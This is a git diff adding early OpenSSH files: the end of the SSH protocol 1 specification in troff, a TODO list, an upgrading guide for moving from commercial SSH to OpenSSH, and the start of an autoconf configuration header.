modes encoded in binary +.TE +Requests a pseudo-terminal to be allocated for this command. This +message can be used regardless of whether the session will later +execute the shell or a command. If a pty has been requested with this +message, the shell or command will run on a pty. Otherwise it will +communicate with the server using pipes, sockets or some other similar +mechanism. + +The terminal type gives the type of the user's terminal. In the UNIX +environment it is passed to the shell or command in the TERM +environment variable. + +The width and height values give the initial size of the user's +terminal or window. All values can be zero if not supported by the +operating system. The server will pass these values to the kernel if +supported. + +Terminal modes are encoded into a byte stream in a portable format. +The exact format is described later in this document. + +The server responds to the request with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. If the server does not have the concept of pseudo +terminals, it should return success if it is possible to execute a +shell or a command so that it looks to the client as if it was running +on a pseudo terminal. +.IP "11 SSH_CMSG_WINDOW_SIZE" +.TS +; +l l. +32-bit int terminal height, rows +32-bit int terminal width, columns +32-bit int terminal width, pixels +32-bit int terminal height, pixels +.TE +This message can only be sent by the client during the interactive +session. This indicates that the size of the user's window has +changed, and provides the new size. The server will update the +kernel's notion of the window size, and a SIGWINCH signal or +equivalent will be sent to the shell or command (if supported by the +operating system). +.IP "12 SSH_CMSG_EXEC_SHELL" + +(no arguments) + +Starts a shell (command interpreter), and enters interactive session +mode. +.IP "13 SSH_CMSG_EXEC_CMD" +.TS +; +l l. +string command to execute +.TE +Starts executing the given command, and enters interactive session +mode. On UNIX, the command is run as " -c ", where + is the user's login shell. +.IP "14 SSH_SMSG_SUCCESS" + +(no arguments) + +This message is sent by the server in response to the session key, a +successful authentication request, and a successfully completed +preparatory operation. +.IP "15 SSH_SMSG_FAILURE" + +(no arguments) + +This message is sent by the server in response to a failed +authentication operation to indicate that the user has not yet been +successfully authenticated, and in response to a failed preparatory +operation. This is also sent in response to an authentication or +preparatory operation request that is not recognized or supported. +.IP "16 SSH_CMSG_STDIN_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the client to be supplied as input to the shell or +program running on the server side. This message can only be used in +the interactive session mode. No acknowledgement is sent for this +message. +.IP "17 SSH_SMSG_STDOUT_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the server that was read from the standard output of +the shell or program running on the server side. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "18 SSH_SMSG_STDERR_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the server that was read from the standard error of +the shell or program running on the server side. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "19 SSH_CMSG_EOF" + +(no arguments) + +This message is sent by the client to indicate that EOF has been +reached on the input. Upon receiving this message, and after all +buffered input data has been sent to the shell or program, the server +will close the input file descriptor to the program. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "20 SSH_SMSG_EXITSTATUS" +.TS +; +l l. +32-bit int exit status of the command +.TE +Returns the exit status of the shell or program after it has exited. +The client should respond with SSH_CMSG_EXIT_CONFIRMATION when it has +received this message. This will be the last message sent by the +server. If the program being executed dies with a signal instead of +exiting normally, the server should terminate the session with +SSH_MSG_DISCONNECT (which can be used to pass a human-readable string +indicating that the program died due to a signal) instead of using +this message. +.IP "21 SSH_MSG_CHANNEL_OPEN_CONFIRMATION" +.TS +; +l l. +32-bit int remote_channel +32-bit int local_channel +.TE +This is sent in response to any channel open request if the channel +has been successfully opened. Remote_channel is the channel number +received in the initial open request; local_channel is the channel +number the side sending this message has allocated for the channel. +Data can be transmitted on the channel after this message. +.IP "22 SSH_MSG_CHANNEL_OPEN_FAILURE" +.TS +; +l l. +32-bit int remote_channel +.TE +This message indicates that an earlier channel open request by the +other side has failed or has been denied. Remote_channel is the +channel number given in the original request. +.IP "23 SSH_MSG_CHANNEL_DATA" +.TS +; +l l. +32-bit int remote_channel +string data +.TE +Data is transmitted in a channel in these messages. A channel is +bidirectional, and both sides can send these messages. There is no +acknowledgement for these messages. It is possible that either side +receives these messages after it has sent SSH_MSG_CHANNEL_CLOSE for +the channel. These messages cannot be received after the party has +sent or received SSH_MSG_CHANNEL_CLOSE_CONFIRMATION. +.IP "24 SSH_MSG_CHANNEL_CLOSE" +.TS +; +l l. +32-bit int remote_channel +.TE +When a channel is closed at one end of the connection, that side sends +this message. Upon receiving this message, the channel should be +closed. When this message is received, if the channel is already +closed (the receiving side has sent this message for the same channel +earlier), the channel is freed and no further action is taken; +otherwise the channel is freed and SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +is sent in response. (It is possible that the channel is closed +simultaneously at both ends.) +.IP "25 SSH_MSG_CHANNEL_CLOSE_CONFIRMATION" +.TS +; +l l. +32-bit int remote_channel +.TE +This message is sent in response to SSH_MSG_CHANNEL_CLOSE unless the +channel was already closed. When this message is sent or received, +the channel is freed. +.IP "26 (OBSOLETED; was unix-domain X11 forwarding) +.IP "27 SSH_SMSG_X11_OPEN" +.TS +; +l l. +32-bit int local_channel +string originator_string (see below) +.TE +This message can be sent by the server during the interactive session +mode to indicate that a client has connected the fake X server. +Local_channel is the channel number that the server has allocated for +the connection. The client should try to open a connection to the +real X server, and respond with SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE. + +The field originator_string is present if both sides +specified SSH_PROTOFLAG_HOST_IN_FWD_OPEN in the protocol flags. It +contains a description of the host originating the connection. +.IP "28 SSH_CMSG_PORT_FORWARD_REQUEST" +.TS +; +l l. +32-bit int server_port +string host_to_connect +32-bit int port_to_connect +.TE +Sent by the client in the preparatory phase, this message requests +that server_port on the server machine be forwarded over the secure +channel to the client machine, and from there to the specified host +and port. The server should start listening on the port, and send +SSH_MSG_PORT_OPEN whenever a connection is made to it. Supporting +this message is optional, and the server is free to reject any forward +request. For example, it is highly recommended that unless the user +has been authenticated as root, forwarding any privileged port numbers +(below 1024) is denied. +.IP "29 SSH_MSG_PORT_OPEN" +.TS +; +l l. +32-bit int local_channel +string host_name +32-bit int port +string originator_string (see below) +.TE +Sent by either party in interactive session mode, this message +indicates that a connection has been opened to a forwarded TCP/IP +port. Local_channel is the channel number that the sending party has +allocated for the connection. Host_name is the host the connection +should be be forwarded to, and the port is the port on that host to +connect. The receiving party should open the connection, and respond +with SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE. It is recommended that the receiving +side check the host_name and port for validity to avoid compromising +local security by compromised remote side software. Particularly, it +is recommended that the client permit connections only to those ports +for which it has requested forwarding with SSH_CMSG_PORT_FORWARD_REQUEST. + +The field originator_string is present if both sides +specified SSH_PROTOFLAG_HOST_IN_FWD_OPEN in the protocol flags. It +contains a description of the host originating the connection. +.IP "30 SSH_CMSG_AGENT_REQUEST_FORWARDING" + +(no arguments) + +Requests that the connection to the authentication agent be forwarded +over the secure channel. The method used by clients to contact the +authentication agent within each machine is implementation and machine +dependent. If the server accepts this request, it should arrange that +any clients run from this session will actually contact the server +program when they try to contact the authentication agent. The server +should then send a SSH_SMSG_AGENT_OPEN to open a channel to the agent, +and the client should forward the connection to the real +authentication agent. Supporting this message is optional. +.IP "31 SSH_SMSG_AGENT_OPEN" +.TS +; +l l. +32-bit int local_channel +.TE +Sent by the server in interactive session mode, this message requests +opening a channel to the authentication agent. The client should open +a channel, and respond with either SSH_MSG_CHANNEL_OPEN_CONFIRMATION +or SSH_MSG_CHANNEL_OPEN_FAILURE. +.IP "32 SSH_MSG_IGNORE" +.TS +; +l l. +string data +.TE +Either party may send this message at any time. This message, and the +argument string, is silently ignored. This message might be used in +some implementations to make traffic analysis more difficult. This +message is not currently sent by the implementation, but all +implementations are required to recognize and ignore it. +.IP "33 SSH_CMSG_EXIT_CONFIRMATION" + +(no arguments) + +Sent by the client in response to SSH_SMSG_EXITSTATUS. This is the +last message sent by the client. +.IP "34 SSH_CMSG_X11_REQUEST_FORWARDING" +.TS +; +l l. +string x11_authentication_protocol +string x11_authentication_data +32-bit int screen number (if SSH_PROTOFLAG_SCREEN_NUMBER) +.TE +Sent by the client during the preparatory phase, this message requests +that the server create a fake X11 display and set the DISPLAY +environment variable accordingly. An internet-domain display is +preferable. The given authentication protocol and the associated data +should be recorded by the server so that it is used as authentication +on connections (e.g., in .Xauthority). The authentication protocol +must be one of the supported X11 authentication protocols, e.g., +"MIT-MAGIC-COOKIE-1". Authentication data must be a lowercase hex +string of even length. Its interpretation is protocol dependent. +The data is in a format that can be used with e.g. the xauth program. +Supporting this message is optional. + +The client is permitted (and recommended) to generate fake +authentication information and send fake information to the server. +This way, a corrupt server will not have access to the user's terminal +after the connection has terminated. The correct authorization codes +will also not be left hanging around in files on the server (many +users keep the same X session for months, thus protecting the +authorization data becomes important). + +X11 authentication spoofing works by initially sending fake (random) +authentication data to the server, and interpreting the first packet +sent by the X11 client after the connection has been opened. The +first packet contains the client's authentication. If the packet +contains the correct fake data, it is replaced by the client by the +correct authentication data, and then sent to the X server. +.IP "35 SSH_CMSG_AUTH_RHOSTS_RSA" +.TS +; +l l. +string clint-side user name +32-bit int client_host_key_bits +mp-int client_host_key_public_exponent +mp-int client_host_key_public_modulus +.TE +Requests authentication using /etc/hosts.equiv and .rhosts (or +equivalent) together with RSA host authentication. The server should +check that the client side port number is less than 1024 (a privileged +port), and immediately reject authentication if it is not. The server +responds with SSH_SMSG_FAILURE or SSH_SMSG_AUTH_RSA_CHALLENGE. The +client must respond to the challenge with the proper +SSH_CMSG_AUTH_RSA_RESPONSE. The server then responds with success if +access was granted, or failure if the client gave a wrong response. +Supporting this authentication method is optional but recommended in +most environments. +.IP "36 SSH_MSG_DEBUG" +.TS +; +l l. +string debugging message sent to the other side +.TE +This message may be sent by either party at any time. It is used to +send debugging messages that may be informative to the user in +solving various problems. For example, if authentication fails +because of some configuration error (e.g., incorrect permissions for +some file), it can be very helpful for the user to make the cause of +failure available. On the other hand, one should not make too much +information available for security reasons. It is recommended that +the client provides an option to display the debugging information +sent by the sender (the user probably does not want to see it by default). +The server can log debugging data sent by the client (if any). Either +party is free to ignore any received debugging data. Every +implementation must be able to receive this message, but no +implementation is required to send these. +.IP "37 SSH_CMSG_REQUEST_COMPRESSION" +.TS +; +l l. +32-bit int gzip compression level (1-9) +.TE +This message can be sent by the client in the preparatory operations +phase. The server responds with SSH_SMSG_FAILURE if it does not +support compression or does not want to compress; it responds with +SSH_SMSG_SUCCESS if it accepted the compression request. In the +latter case the response to this packet will still be uncompressed, +but all further packets in either direction will be compressed by gzip. +.RT + + +.ti 0 +Encoding of Terminal Modes + +Terminal modes (as passed in SSH_CMSG_REQUEST_PTY) are encoded into a +byte stream. It is intended that the coding be portable across +different environments. + +The tty mode description is a stream of bytes. The stream consists of +opcode-argument pairs. It is terminated by opcode TTY_OP_END (0). +Opcodes 1-127 have one-byte arguments. Opcodes 128-159 have 32-bit +integer arguments (stored msb first). Opcodes 160-255 are not yet +defined, and cause parsing to stop (they should only be used after any +other data). + +The client puts in the stream any modes it knows about, and the server +ignores any modes it does not know about. This allows some degree of +machine-independence, at least between systems that use a POSIX-like +[POSIX] tty interface. The protocol can support other systems as +well, but the client may need to fill reasonable values for a number +of parameters so the server pty gets set to a reasonable mode (the +server leaves all unspecified mode bits in their default values, and +only some combinations make sense). + +The following opcodes have been defined. The naming of opcodes mostly +follows the POSIX terminal mode flags. +.IP "0 TTY_OP_END" +Indicates end of options. +.IP "1 VINTR" +Interrupt character; 255 if none. Similarly for the other characters. +Not all of these characters are supported on all systems. +.IP "2 VQUIT" +The quit character (sends SIGQUIT signal on UNIX systems). +.IP "3 VERASE" +Erase the character to left of the cursor. +.IP "4 VKILL" +Kill the current input line. +.IP "5 VEOF " +End-of-file character (sends EOF from the terminal). +.IP "6 VEOL " +End-of-line character in addition to carriage return and/or linefeed. +.IP "7 VEOL2" +Additional end-of-line character. +.IP "8 VSTART" +Continues paused output (normally ^Q). +.IP "9 VSTOP" +Pauses output (^S). +.IP "10 VSUSP" +Suspends the current program. +.IP "11 VDSUSP" +Another suspend character. +.IP "12 VREPRINT" +Reprints the current input line. +.IP "13 VWERASE" +Erases a word left of cursor. +.IP "14 VLNEXT" +More special input characters; these are probably not supported on +most systems. +.IP "15 VFLUSH" +.IP "16 VSWTCH" +.IP "17 VSTATUS" +.IP "18 VDISCARD" + +.IP "30 IGNPAR" +The ignore parity flag. The next byte should be 0 if this flag is not +set, and 1 if it is set. +.IP "31 PARMRK" +More flags. The exact definitions can be found in the POSIX standard. +.IP "32 INPCK" +.IP "33 ISTRIP" +.IP "34 INLCR" +.IP "35 IGNCR" +.IP "36 ICRNL" +.IP "37 IUCLC" +.IP "38 IXON" +.IP "39 IXANY" +.IP "40 IXOFF" +.IP "41 IMAXBEL" + +.IP "50 ISIG" +.IP "51 ICANON" +.IP "52 XCASE" +.IP "53 ECHO" +.IP "54 ECHOE" +.IP "55 ECHOK" +.IP "56 ECHONL" +.IP "57 NOFLSH" +.IP "58 TOSTOP" +.IP "59 IEXTEN" +.IP "60 ECHOCTL" +.IP "61 ECHOKE" +.IP "62 PENDIN" + +.IP "70 OPOST" +.IP "71 OLCUC" +.IP "72 ONLCR" +.IP "73 OCRNL" +.IP "74 ONOCR" +.IP "75 ONLRET" + +.IP "90 CS7" +.IP "91 CS8" +.IP "92 PARENB" +.IP "93 PARODD" + +.IP "192 TTY_OP_ISPEED" +Specifies the input baud rate in bits per second. +.IP "193 TTY_OP_OSPEED" +Specifies the output baud rate in bits per second. +.RT + + +.ti 0 +The Authentication Agent Protocol + +The authentication agent is a program that can be used to hold RSA +authentication keys for the user (in future, it might hold data for +other authentication types as well). An authorized program can send +requests to the agent to generate a proper response to an RSA +challenge. How the connection is made to the agent (or its +representative) inside a host and how access control is done inside a +host is implementation-dependent; however, how it is forwarded and how +one interacts with it is specified in this protocol. The connection +to the agent is normally automatically forwarded over the secure +channel. + +A program that wishes to use the agent first opens a connection to its +local representative (typically, the agent itself or an SSH server). +It then writes a request to the connection, and waits for response. +It is recommended that at least five minutes of timeout are provided +waiting for the agent to respond to an authentication challenge (this +gives sufficient time for the user to cut-and-paste the challenge to a +separate machine, perform the computation there, and cut-and-paste the +result back if so desired). + +Messages sent to and by the agent are in the following format: +.TS +; +l l. +4 bytes Length, msb first. Does not include length itself. +1 byte Packet type. The value 255 is reserved for future extensions. +data Any data, depending on packet type. Encoding as in the ssh packet +protocol. +.TE + +The following message types are currently defined: +.IP "1 SSH_AGENTC_REQUEST_RSA_IDENTITIES" + +(no arguments) + +Requests the agent to send a list of all RSA keys for which it can +answer a challenge. +.IP "2 SSH_AGENT_RSA_IDENTITIES_ANSWER" +.TS +; +l l. +32-bit int howmany +howmany times: +32-bit int bits +mp-int public exponent +mp-int public modulus +string comment +.TE +The agent sends this message in response to the to +SSH_AGENTC_REQUEST_RSA_IDENTITIES. The answer lists all RSA keys for +which the agent can answer a challenge. The comment field is intended +to help identify each key; it may be printed by an application to +indicate which key is being used. If the agent is not holding any +keys, howmany will be zero. +.IP "3 SSH_AGENTC_RSA_CHALLENGE +.TS +; +l l. +32-bit int bits +mp-int public exponent +mp-int public modulus +mp-int challenge +16 bytes session_id +32-bit int response_type +.TE +Requests RSA decryption of random challenge to authenticate the other +side. The challenge will be decrypted with the RSA private key +corresponding to the given public key. + +The decrypted challenge must contain a zero in the highest (partial) +byte, 2 in the next byte, followed by non-zero random bytes, a zero +byte, and then the real challenge value in the lowermost bytes. The +real challenge must be 32 8-bit bytes (256 bits). + +Response_type indicates the format of the response to be returned. +Currently the only supported value is 1, which means to compute MD5 of +the real challenge plus session id, and return the resulting 16 bytes +in a SSH_AGENT_RSA_RESPONSE message. +.IP "4 SSH_AGENT_RSA_RESPONSE" +.TS +; +l l. +16 bytes MD5 of decrypted challenge +.TE +Answers an RSA authentication challenge. The response is 16 bytes: +the MD5 checksum of the 32-byte challenge. +.IP "5 SSH_AGENT_FAILURE" + +(no arguments) + +This message is sent whenever the agent fails to answer a request +properly. For example, if the agent cannot answer a challenge (e.g., +no longer has the proper key), it can respond with this. The agent +also responds with this message if it receives a message it does not +recognize. +.IP "6 SSH_AGENT_SUCCESS" + +(no arguments) + +This message is sent by the agent as a response to certain requests +that do not otherwise cause a message be sent. Currently, this is +only sent in response to SSH_AGENTC_ADD_RSA_IDENTITY and +SSH_AGENTC_REMOVE_RSA_IDENTITY. +.IP "7 SSH_AGENTC_ADD_RSA_IDENTITY" +.TS +; +l l. +32-bit int bits +mp-int public modulus +mp-int public exponent +mp-int private exponent +mp-int multiplicative inverse of p mod q +mp-int p +mp-int q +string comment +.TE +Registers an RSA key with the agent. After this request, the agent can +use this RSA key to answer requests. The agent responds with +SSH_AGENT_SUCCESS or SSH_AGENT_FAILURE. +.IP "8 SSH_AGENT_REMOVE_RSA_IDENTITY" +.TS +; +l l. +32-bit int bits +mp-int public exponent +mp-int public modulus +.TE +Removes an RSA key from the agent. The agent will no longer accept +challenges for this key and will not list it as a supported identity. +The agent responds with SSH_AGENT_SUCCESS or SSH_AGENT_FAILURE. +.RT + +If the agent receives a message that it does not understand, it +responds with SSH_AGENT_FAILURE. This permits compatible future +extensions. + +It is possible that several clients have a connection open to the +authentication agent simultaneously. Each client will use a separate +connection (thus, any SSH connection can have multiple agent +connections active simultaneously). + + +.ti 0 +References + +.IP "[DES] " +FIPS PUB 46-1: Data Encryption Standard. National Bureau of +Standards, January 1988. FIPS PUB 81: DES Modes of Operation. +National Bureau of Standards, December 1980. Bruce Schneier: Applied +Cryptography. John Wiley & Sons, 1994. J. Seberry and J. Pieprzyk: +Cryptography: An Introduction to Computer Security. Prentice-Hall, +1989. +.IP "[GZIP] " +The GNU GZIP program; available for anonymous ftp at prep.ai.mit.edu. +Please let me know if you know a paper describing the algorithm. +.IP "[IDEA] " +Xuejia Lai: On the Design and Security of Block Ciphers, ETH Series in +Information Processing, vol. 1, Hartung-Gorre Verlag, Konstanz, +Switzerland, 1992. Bruce Schneier: Applied Cryptography, John Wiley & +Sons, 1994. See also the following patents: PCT/CH91/00117, EP 0 482 +154 B1, US Pat. 5,214,703. +.IP [PKCS#1] +PKCS #1: RSA Encryption Standard. Version 1.5, RSA Laboratories, +November 1993. Available for anonymous ftp at ftp.rsa.com. +.IP [POSIX] +Portable Operating System Interface (POSIX) - Part 1: Application +Program Interface (API) [C language], ISO/IEC 9945-1, IEEE Std 1003.1, +1990. +.IP [RFC0791] +J. Postel: Internet Protocol, RFC 791, USC/ISI, September 1981. +.IP [RFC0793] +J. Postel: Transmission Control Protocol, RFC 793, USC/ISI, September +1981. +.IP [RFC1034] +P. Mockapetris: Domain Names - Concepts and Facilities, RFC 1034, +USC/ISI, November 1987. +.IP [RFC1282] +B. Kantor: BSD Rlogin, RFC 1258, UCSD, December 1991. +.IP "[RSA] " +Bruce Schneier: Applied Cryptography. John Wiley & Sons, 1994. See +also R. Rivest, A. Shamir, and L. M. Adleman: Cryptographic +Communications System and Method. US Patent 4,405,829, 1983. +.IP "[X11] " +R. Scheifler: X Window System Protocol, X Consortium Standard, Version +11, Release 6. Massachusetts Institute of Technology, Laboratory of +Computer Science, 1994. +.RT + + +.ti 0 +Security Considerations + +This protocol deals with the very issue of user authentication and +security. + +First of all, as an implementation issue, the server program will have +to run as root (or equivalent) on the server machine. This is because +the server program will need be able to change to an arbitrary user +id. The server must also be able to create a privileged TCP/IP port. + +The client program will need to run as root if any variant of .rhosts +authentication is to be used. This is because the client program will +need to create a privileged port. The client host key is also usually +stored in a file which is readable by root only. The client needs the +host key in .rhosts authentication only. Root privileges can be +dropped as soon as the privileged port has been created and the host +key has been read. + +The SSH protocol offers major security advantages over existing telnet +and rlogin protocols. +.IP o +IP spoofing is restricted to closing a connection (by encryption, host +keys, and the special random cookie). If encryption is not used, IP +spoofing is possible for those who can hear packets going out from the +server. +.IP o +DNS spoofing is made ineffective (by host keys). +.IP o +Routing spoofing is made ineffective (by host keys). +.IP o +All data is encrypted with strong algorithms to make eavesdropping as +difficult as possible. This includes encrypting any authentication +information such as passwords. The information for decrypting session +keys is destroyed every hour. +.IP o +Strong authentication methods: .rhosts combined with RSA host +authentication, and pure RSA authentication. +.IP o +X11 connections and arbitrary TCP/IP ports can be forwarded securely. +.IP o +Man-in-the-middle attacks are deterred by using the server host key to +encrypt the session key. +.IP o +Trojan horses to catch a password by routing manipulation are deterred +by checking that the host key of the server machine matches that +stored on the client host. +.RT + +The security of SSH against man-in-the-middle attacks and the security +of the new form of .rhosts authentication, as well as server host +validation, depends on the integrity of the host key and the files +containing known host keys. + +The host key is normally stored in a root-readable file. If the host +key is compromised, it permits attackers to use IP, DNS and routing +spoofing as with current rlogin and rsh. It should never be any worse +than the current situation. + +The files containing known host keys are not sensitive. However, if an +attacker gets to modify the known host key files, it has the same +consequences as a compromised host key, because the attacker can then +change the recorded host key. + +The security improvements obtained by this protocol for X11 are of +particular significance. Previously, there has been no way to protect +data communicated between an X server and a client running on a remote +machine. By creating a fake display on the server, and forwarding all +X11 requests over the secure channel, SSH can be used to run any X11 +applications securely without any cooperation with the vendors of the +X server or the application. + +Finally, the security of this program relies on the strength of the +underlying cryptographic algorithms. The RSA algorithm is used for +authentication key exchange. It is widely believed to be secure. Of +the algorithms used to encrypt the session, DES has a rather small key +these days, probably permitting governments and organized criminals to +break it in very short time with specialized hardware. 3DES is +probably safe (but slower). IDEA is widely believed to be secure. +People have varying degrees of confidence in the other algorithms. +This program is not secure if used with no encryption at all. + + +.ti 0 +Additional Information + +Additional information (especially on the implementation and mailing +lists) is available via WWW at http://www.cs.hut.fi/ssh. + +Comments should be sent to Tatu Ylonen or the SSH +Mailing List . + +.ti 0 +Author's Address + +.TS +; +l. +Tatu Ylonen +Helsinki University of Technology +Otakaari 1 +FIN-02150 Espoo, Finland + +Phone: +358-0-451-3374 +Fax: +358-0-451-3293 +EMail: ylo@cs.hut.fi +.TE diff --git a/other/openssh-reverse/TODO b/other/openssh-reverse/TODO new file mode 100644 index 0000000..1d46ae1 --- /dev/null +++ b/other/openssh-reverse/TODO @@ -0,0 +1,16 @@ +- Replacement for setproctitle() + +- Improve PAM support (a pam_lastlog module will cause sshd to exit) + +- Better documentation + +- Replace the horror in acconfig.h which tries to comphensate for the + lack of u_intXX_t types. There must be a better way. + +- Cleanup configure.in + +- Next now has sigaction() based on sigvec(). But it sill does not + seem to act correctly. Ctrl-C and Ctrl-Z don't return echo to the + underlying shell. + +- utmp/wtmp logging does not work on NeXT diff --git a/other/openssh-reverse/UPGRADING b/other/openssh-reverse/UPGRADING new file mode 100644 index 0000000..df3a23e --- /dev/null +++ b/other/openssh-reverse/UPGRADING @@ -0,0 +1,132 @@ +[ A Japanese translation of this document is available at +[ http://www.unixuser.org/%7Eharuyama/security/openssh/index.html +[ Thanks to HARUYAMA Seigo + +OpenSSH is almost completely compatible with the commercial SSH 1.2.x. +There are, however, a few exceptions that you will need to bear in +mind while upgrading: + +1. OpenSSH does not support any patented transport algorithms. + +Only 3DES and Blowfish can be selected. This difference may manifest +itself in the ssh command refusing to read its config files. + +Solution: Edit /etc/ssh/ssh_config and select a different "Cipher" +option ("3des" or "blowfish"). + +2. Old versions of commercial SSH encrypt host keys with IDEA + +The old versions of SSH used a patented algorithm to encrypt their +/etc/ssh/ssh_host_key + +This problem will manifest as sshd not being able to read its host +key. + +Solution: You will need to run the *commercial* version of ssh-keygen +on the host's private key: + +ssh-keygen -u -f /etc/ssh/ssh_host_key + +3. Incompatible changes to sshd_config format. + +OpenSSH extends the sshd_config file format in a number of ways. There +is currently one change which is incompatible with the old. + +Commercial SSH controlled logging using the "QuietMode" and +"FascistLogging" directives. OpenSSH introduces a more general set of +logging options "SyslogFacility" and "LogLevel". See the sshd manual +page for details. + +4. Warning messages about key lengths + +Commercial SSH's ssh-keygen program contained a bug which caused it to +occasionally generate RSA keys which had their Most Significant Bit +(MSB) unset. Such keys were advertised as being full-length, but are +actually only half as secure. + +OpenSSH will print warning messages when it encounters such keys. To +rid yourself of these message, edit you known_hosts files and replace +the incorrect key length (usually "1024") with the correct key length +(usually "1023"). + +5. Spurious PAM authentication messages in logfiles + +OpenSSH will generate spurious authentication failures at every login, +similar to "authentication failure; (uid=0) -> root for sshd service". +These are generated because OpenSSH first tries to determine whether a +user needs authentication to login (e.g. empty password). Unfortunatly +PAM likes to log all authentication events, this one included. + +If it annoys you too much, set "PermitEmptyPasswords no" in +sshd_config. This will quiet the error message at the expense of +disabling logins to accounts with no password set. This is the +default if you use the supplied sshd_config file. + +6. Empty passwords not allowed with PAM authentication + +To enable empty passwords with a version of OpenSSH built with PAM you +must add the flag "nullok" to the end of the password checking module +in the /etc/pam.d/sshd file. For example: + +auth required/lib/security/pam_unix.so shadow nodelay nullok + +This must be done in addtion to setting "PermitEmptyPasswords yes" +in the sshd_config file. + +There is one caveat when using empty passwords with PAM +authentication: PAM will allow _any_ password when authenticating +an account with an empty password. This breaks the check that sshd +uses to determined whether an account has no password set and grant +users access to the account regardless of the policy specified by +"PermitEmptyPasswords". For this reason, it is recommended that you do +not add the "nullok" directive to your PAM configuration file unless +you specifically wish to allow empty passwords. + +7. X11 and/or agent forwarding does not work + +Check your ssh_config and sshd_config. The default configuration files +disable authentication agent and X11 forwarding. + +8. ssh takes a long time to connect with Linux/glibc 2.1 + +The glibc shipped with Redhat 6.1 appears to take a long time to resolve +"IPv6 or IPv4" addresses from domain names. This can be kludged around +with the --with-ipv4-default configure option. This instructs OpenSSH to +use IPv4-only address resolution. (IPv6 lookups may still be made by +specifying the -6 option). + +9. Logins from commercial ssh generate the error "Selected cipher type + idea not supported by server" + +This error is generated when a commercial ssh which has been configured to +use the 'idea' cipher attempts to connect to an OpenSSH server. To rectify +this, select a different cipher in ssh_config or ~/.ssh/config (3des for +security or blowfish for speed). + +10. "can't locate module net-pf-10" messages in log under Linux + +The Linux kernel is looking (via modprobe) for protocol family 10 (IPv6). +Either 1. load the appropriate kernel module, 2. enter the correct alias +in /etc/modules.conf or 3. disable IPv6 in /etc/modules.conf. + +For some silly reason /etc/modules.conf may also be named /etc/conf.modules + +11. Password authentication doesn't work on Slackware 7.0 + +Configure OpenSSH with --with-md5-passwords + +12. ./configure or sshd complain about lack of RSA support + +Ensure that your OpenSSL libraries have been built to include RSA support +either internally or through RSAref. + +13. "scp: command not found" errors + +scp must be in the default PATH on both the client and the server. You may +need to use the --with-default-path option to specify a custom path to +search on the server. This option replaces the default path, so you need +to specify all the current directories on your path as well as where you +have installed scp. For example: + +./configure --with-default-path=/bin:/usr/bin:/usr/local/bin:/path/to/scp + diff --git a/other/openssh-reverse/acconfig.h b/other/openssh-reverse/acconfig.h new file mode 100644 index 0000000..358390b --- /dev/null +++ b/other/openssh-reverse/acconfig.h @@ -0,0 +1,238 @@ +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + +@TOP@ + +/* Define if your system defines sys_errlist[] */ +#undef HAVE_SYS_ERRLIST + +/* Define if your system choked on IP TOS setting */ +#undef IP_TOS_IS_BROKEN + +/* Define if you have the getuserattr function. */ +#undef HAVE_GETUSERATTR + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#undef PAM_TTY_KLUDGE + +/* Use PIPES instead of a socketpair() */ +#undef USE_PIPES + +/* Define if your snprintf is busted */ +#undef BROKEN_SNPRINTF + +/* Define if you are on NeXT */ +#undef HAVE_NEXT + +/* Define if you want to disable PAM support */ +#undef DISABLE_PAM + +/* Define if you want to enable AIX4's authenticate function */ +#undef WITH_AIXAUTHENTICATE + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +#undef WITH_IRIX_ARRAY + +/* Define if you want IRIX project management */ +#undef WITH_IRIX_PROJECT + +/* Define if you want IRIX audit trails */ +#undef WITH_IRIX_AUDIT + +/* Location of random number pool */ +#undef RANDOM_POOL + +/* Location of EGD random number socket */ +#undef EGD_SOCKET + +/* Builtin PRNG command timeout */ +#undef ENTROPY_TIMEOUT_MSEC + +/* Define if you want to install preformatted manpages.*/ +#undef MANTYPE + +/* Define if your ssl headers are included with #include */ +#undef HAVE_OPENSSL + +/* Define if you are linking against RSAref. Used only to print the right + * message at run-time. */ +#undef RSAREF + +/* struct utmp and struct utmpx fields */ +#undef HAVE_HOST_IN_UTMP +#undef HAVE_HOST_IN_UTMPX +#undef HAVE_ADDR_IN_UTMP +#undef HAVE_ADDR_IN_UTMPX +#undef HAVE_ADDR_V6_IN_UTMP +#undef HAVE_ADDR_V6_IN_UTMPX +#undef HAVE_SYSLEN_IN_UTMPX +#undef HAVE_PID_IN_UTMP +#undef HAVE_TYPE_IN_UTMP +#undef HAVE_TYPE_IN_UTMPX +#undef HAVE_TV_IN_UTMP +#undef HAVE_TV_IN_UTMPX +#undef HAVE_ID_IN_UTMP +#undef HAVE_ID_IN_UTMPX +#undef HAVE_EXIT_IN_UTMP +#undef HAVE_TIME_IN_UTMP +#undef HAVE_TIME_IN_UTMPX + +/* Define if you don't want to use your system's login() call */ +#undef DISABLE_LOGIN + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +#undef DISABLE_PUTUTLINE + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +#undef DISABLE_PUTUTXLINE + +/* Define if you don't want to use lastlog */ +#undef DISABLE_LASTLOG + +/* Define if you don't want to use utmp */ +#undef DISABLE_UTMP + +/* Define if you don't want to use utmpx */ +#undef DISABLE_UTMPX + +/* Define if you don't want to use wtmp */ +#undef DISABLE_WTMP + +/* Define if you don't want to use wtmpx */ +#undef DISABLE_WTMPX + +/* Define if you want to specify the path to your lastlog file */ +#undef CONF_LASTLOG_FILE + +/* Define if you want to specify the path to your utmp file */ +#undef CONF_UTMP_FILE + +/* Define if you want to specify the path to your wtmp file */ +#undef CONF_WTMP_FILE + +/* Define if you want to specify the path to your utmpx file */ +#undef CONF_UTMPX_FILE + +/* Define if you want to specify the path to your wtmpx file */ +#undef 